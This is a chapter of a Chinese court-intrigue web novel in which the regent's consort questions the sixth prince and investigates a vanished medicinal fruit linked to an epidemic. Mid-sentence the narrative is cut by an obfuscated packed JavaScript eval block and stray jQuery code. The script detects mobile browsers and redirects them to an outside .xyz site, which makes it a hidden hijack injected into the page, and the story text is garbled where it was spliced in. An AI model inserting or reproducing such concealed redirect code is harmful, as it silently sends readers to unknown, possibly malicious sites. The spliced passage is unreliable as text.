听到熟悉的声音,沈悦然猛然回头,果然身后是她许久未见的姐姐沈悦希。
“沈悦然,你真是放肆,别以为你当上了摄政王妃就敢肆无忌惮,摄政王都不敢动六皇子一下,你怎么敢动手的?”沈悦希气势汹汹地走近,用肩膀顶开站在原地的沈悦然,快步走向李恒益,也不顾还有第三个人在场,双手扶着他的脸心疼得落了泪。
沈悦然没有回答这句话,只是冷眼看着那两人你侬我侬,心里郁结的火气早已平了下去,见李恒益视线望过来,她只是淡淡地问了一句,“本王妃在来江南府之前听说殿下无故失踪,后又听说是被奇云寨的山匪连带着赈济粮一块儿劫了去,怎么这会殿下安然无恙的站在这里,敢问殿下是如何从山匪手中逃出来的?”
话还没说完,李恒益身子陡然一僵,紧紧贴着他的沈悦希自然感觉到了,悄悄地扭头看过去,正好对上李恒益暗下来的眼神。沈悦希浑身打一哆嗦,见视线转过来看向她,她强忍着微微颤抖的身子与李恒益对视上。只见李恒益眼皮子一扬,沈悦希立马接收到信号,转头冲着沈悦然大声嚷道:“殿下好不容易从山匪手里逃脱,你不多加关心也就罢了,你以为你是谁,这件事轮得到你来问吗?”
说完没有得到面前人的回复,她以为沈悦然是被她吓唬住了,得意洋洋地昂起头,用下巴指着不屑地说道:“不要以为你攀上了摄政王就以为能高人一等,你不过是个傻子,哪怕身份再尊贵也只是个傻子罢了。”
此话一出,沈悦然和李恒益双双皱起眉头,可沈悦希仍旧毫无所觉地站在李恒益面前,对着“愣”在原地的沈悦然指指点点。好一会儿她才反应过来无人接过她的话,她竟然自言自语地,像个小丑一样表演了许久。
她立马截住了话,咬着下嘴唇看着对面不曾做出过反应的妹妹,又往后看了看目光不悦的六皇子,低下头往后撤了几步,退到李恒益身后不再出声。
一时间,几个人都没有说话,还沉浸在尴尬中的沈悦希却突然抬起头看向沈悦然,眼睛瞪大了,嘴里冷不丁冒出一句,“你,你什么时候不傻的?”
自出了都城后就不再遮掩的沈悦然并不奇怪沈悦希会看出来,甚至有意借着别人的嘴说出她已经恢复的事实。此时她看着沈悦希震惊的表情,也学着她的样子表现出惊讶,“姐姐竟然不知道吗?本王妃还得多谢姐姐,要不然,本王妃还不知道什么时候能好呢?”
沈悦希对这话一头雾水,沈悦然也不打算跟她解释什么,敛了表情面向李恒益道:“既然六皇子殿下已经逃出虎口,也算是了了王爷的一大心事,只是此时本王妃听说王爷因疫症被江大人封在清远府,不知六皇子对此有何打算?”
手头的花早已在巴掌甩过来的时候就被抖掉了,因此李恒益又伸手薅了一把,扯过几根花多的枝条,一手拽着枝子,另一只手选了一朵相对开得正盛的摘下,抬手就把花别在了沈悦希的头上,顺势收获了一枚含羞带怯的眼神。他又伸手摘下一朵别在她耳后,等人红着脸笑了才不紧不慢地放了已经被压垮的枝条,抬起头来回了一句,“这就不劳摄政王妃挂心了。”
见问不出什么,沈悦然也不想再待在这看两人卿卿我我,随便寻了个由头便转身离去。
一出门,正好碰上来寻她的韶思南几人。
“如何?”沈悦然开门见山道。
“此事有点复杂,先回客栈。”韶思南回道。
等一行人回到客栈,云若此时也带回一个消息。
沈悦然先让云若说了她查到的,在听到围剿那日摄政王并没有找到六皇子的时候她就咂摸出不对劲来,再又听见那日奇云寨的两位当家的也一并消失不见,她露出一个“果然如此”的笑容,然后示意云若继续往下讲。
等此事叙述完,沈悦然也差不多理顺了个大概,只是还需要与证实一下罢了。
然后,她又转头看向一旁伸懒腰的韶思南,示意其可以开讲了。
韶思南刚伸手蹬腿舒展了一下疲乏的四肢,一睁眼,几双眼睛纷纷盯着自己,顿时把她吓得灵魂差点出窍。
“怎,怎么了?”韶思南弱着语气问道。
“韶姑娘,你上午跑那一趟查到了什么?”白芷问道。
听此,韶思南收回随意展开的双腿,稍微端正了些动作,然后开口说道:“我拿着青果去问了好几家药馆,虽然主诊大夫都不在,但医馆里的人耳熏目染,基本的药理知识还是懂得的,这青果也是随常可见之物,因此也比较好打听。”
“但是……”韶思南说到这,皱起眉头一脸不解地说道“明明是常见之物,但是竟然没有一家医馆有这种药材。而且听说本来这种植物在郊外是大片生长的,但不知道什么时候,一场大火烧了半边草地,连带着青果长得最多的地方都被烧了,之后这种果子就像是销声匿迹了一样,没有人再见到过。”
“怎么可能会没有人再见过呢?”白薇在一旁止不住出声问道:“既然这果子这么容易活,哪怕那场大火把长成的都烧了,那种子呢?而且也不可能只有那一片地会长青果吧,怎么会销声匿迹呢?”
白薇问的话也正是几个人的疑虑所在。这么随处可见的植物怎么可能突然一下子全部不见了呢?更何况它还是一种药材,即使医馆的人不用它,但若是有人急需用药,而恰好入目之处有青果,这岂不是也有大用处。
寻常人也不会无故去烧几株和他没有关系的植物,除非……是有人授意。
沈悦然急忙问她可是知道那场大火是什么时候烧的,等问出是前天,她略一思索,便对上了。
前天,正是摄政王带兵围剿奇云寨的时候。而当天他发现清远府出了疫症,第二天晚上就在病人的药渣里发现了青果。这几件事发生的未免太过紧凑,一件接着一件,好像是被人定好了时间顺序一样。
而摄政王被困清远府的时候,六皇子突然自己跑了回来,他在这里面又做了什么事情,扮演着何种角色,还有沈悦希……
“云若。”沈悦然突然喊了云若一声,齐刷刷六双眼睛都转过来盯着她,她略闭了下眼睛忽视这几道视线,只扭头吩咐云若道:“你去府衙打听一下沈悦希为什么会来江南府,顺便盯一下六皇子,看他有没有什么异常的举动。”
“你怀疑是他俩捣得鬼?”韶思南问道。
“不排除这个可能,而且……”沈悦然没有说出口的是,她怀疑这里面不止他们两个,奇云寨的两位当家、一丘之貉的江成
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15409214|168808||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
渝和成恪槐,或许,都城里也有人插手也说不准。
面对着六脸期待,她只是摇摇头什么也没说,只是让云若先去打听,说不定还有她们没发现的事情。
“哦,对了。”云若一出门,韶思南突然出声,“我在打听青果的事的时候碰上柳姑娘了,她想见你一面。我问她有什么事,我可以代为转告,但她执意要当面跟你说。”
“怎么不早说?”
韶思南刮了两下鼻头心虚道“忘了。”
众人一脸无语,也没有时间去吐槽她的神经大条,只是迅速吃了午饭,然后便出门去找柳轻依。
柳轻依此时正在医馆的后院晾晒药材,几大箩筐的药材都被她分门别类的抖出来,摘干净杂草枯叶,根据不同药材的不同习性做不同的处理。等沈悦然一行人到的时候,她正好倒出一箩筐青果来。
一粒粒如黄豆大的青色果子被倒在簸箕里,其中还零星混着几颗红色的浆果。
柳轻依只是抬起眼皮瞅了一眼来人,也不管她们看见这一簸箕的青果有什么样的表情,只是低下头继续捡着能作为水果吃的红色浆果,而不远处的石桌上,是刚刚泡好的龙井茶。
“柳姑娘算的倒是挺准。”看着桌上的茶碗,沈悦然打趣道。
“不过是早做了些准备罢了。”柳轻依把挑出来的浆果用井水冲洗一番,盛了慢慢一盘端过来,招呼着沈悦然等人落座喝茶。
“这是些野果子,味道虽然酸涩了些,但止渴败火,也算是好东西。”说着拿起一个递给沈悦然,“王妃尝尝。”
“谢谢。”沈悦然接过果子,放在了跟前的桌子上。
柳轻依余光瞥了一眼,没有说什么,自顾自拎起一颗塞进嘴里,被酸地蹙紧了眉头,估计面纱下的脸早已皱成了一团。“还是时候太早了,太酸,等过几天就好多了。”
一旁的韶思南看得眼馋,忍不住拿了一个扔在嘴里,一咬,立马变了脸色,扭头把嘴里的碎果子吐出来,端起桌上的茶猛灌一杯,又被茶水烫得龇牙咧嘴,又塞了几个浆果企图降降温度,谁知后来的几个果子比头几个还酸,酸的她埋头趴在桌子上,全身止不住地发抖。
“这位姑娘也太心急了些。”
沈悦然看着对面坐着的柳轻依,她倒是不意外她能看出韶思南的女儿身,但是她镇定自若的态度,的确不似一个普通的农家女,再加上那特殊的疤痕……
这也是个有故事的人啊。
这么想着,她也问出了此行来的目的,“柳姑娘找本王妃所为何事?”
柳轻依看着她一脸凝重,不由地轻笑出声,“没有事就不能找王妃了吗?我还以为经过昨日一遭,我与王妃虽然不能说称得上是朋友,但也有能约出来玩乐的情分。”
“柳姑娘找本王妃来可不是为了玩乐。”她侧目看了一眼簸箕里的青果,然后转过眼神来看着柳轻依。
“哈哈哈哈,王妃聪明。”
柳轻依起身走到簸箕旁蹲下,捞出几颗青果捏在手里把玩,道:“王妃可知,虽然各医馆已经不用青果入药,但有一人却时时将青果带在身上,就连入寝也不曾摘下。”
“谁?”
“王妃昨日或许已经见过了。”